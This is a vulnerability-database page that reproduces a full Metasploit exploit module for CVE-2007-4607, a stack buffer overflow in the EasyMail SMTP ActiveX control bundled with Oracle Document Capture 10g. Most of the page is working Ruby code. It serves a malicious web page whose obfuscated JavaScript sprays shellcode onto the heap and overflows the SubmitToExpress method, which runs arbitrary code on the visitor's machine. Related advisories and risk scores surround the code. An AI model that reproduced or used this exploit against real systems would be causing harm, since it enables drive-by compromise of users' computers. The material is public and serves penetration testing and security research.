Oracle Document Capture 10g - ActiveX Control Buffer Overflow (Metasploit)

🗓️ 09 May 2010 00:00:00Reported by MetasploitType

Oracle Document Capture 10g ActiveX Control Buffer Overflow exploi

Reporter	Title	Published	Views	Family All 12
0day.today	Borland Caliber 11.0 Quiksoft EasyMail Buffer Overflow Vulnerability	28 Apr 201300:00	–	zdt
Circl	CVE-2007-4607	9 May 201000:00	–	circl
Check Point Advisories	EasyMail Object EMSMTP.DLL ActiveX Control Buffer Overflow - Ver2 (CVE-2007-4607)	31 Mar 201400:00	–	checkpoint_advisories
CVE	CVE-2007-4607	31 Aug 200700:00	–	cve
Cvelist	CVE-2007-4607	31 Aug 200700:00	–	cvelist
Tenable Nessus	EasyMail SMTP Object ActiveX Control Multiple Buffer Overflows	25 Sep 200700:00	–	nessus
Metasploit	Oracle Document Capture 10g ActiveX Control Buffer Overflow	15 Nov 200901:01	–	metasploit
NVD	CVE-2007-4607	31 Aug 200700:17	–	nvd
Packet Storm	Oracle Document Capture 10g ActiveX Control Buffer Overflow	31 Dec 200900:00	–	packetstorm
Prion	Buffer overflow	31 Aug 200700:17	–	prion

##
# $Id: oracle_dc_submittoexpress.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).
				Oracle Document Capture 10g comes bundled with a third party ActiveX control
				emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress"
				an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-4607' ],
					[ 'OSVDB', '38335' ],
					[ 'BID', '25467' ],
					[ 'US-CERT-VU', '281977' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
				],
			'DisclosureDate' => 'Aug 28 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# fluff..
		fluff = rand_text_english(rand(20) + 1)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		js = %Q|
			try {
				var evil_string = "";
				var index;
				# CLSID:68AC0D5F-0424-11D5-822F-00C04F6BA8D9
				var vulnerable = new ActiveXObject('EasyMail.SMTP.6');
				var my_unescape = unescape;
				var shellcode = '#{shellcode}';
				#{js_heap_spray}
				sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
				for (index = 0; index < 12500; index++) {
					evil_string = evil_string + my_unescape('%0a%0a%0a%0a');
				}
				vulnerable.SubmitToExpress(evil_string);
			} catch( e ) { window.location = 'about:blank' ; }
		|

		opts = {
			'Strings' => true,
			'Symbols' => {
				'Variables' => [
					'vulnerable',
					'shellcode',
					'my_unescape',
					'index',
					'evil_string',
				]
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		js.update_opts(js_heap_spray.opts)
		js.obfuscate()
		content = %Q|
			<html>
			<body>
				<script><!--
				#{js}
				//</script>
			</body>
			</html>
			|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

09 May 2010 00:00Current

7High risk

Vulners AI Score7

CVSS 29.3

EPSS0.80073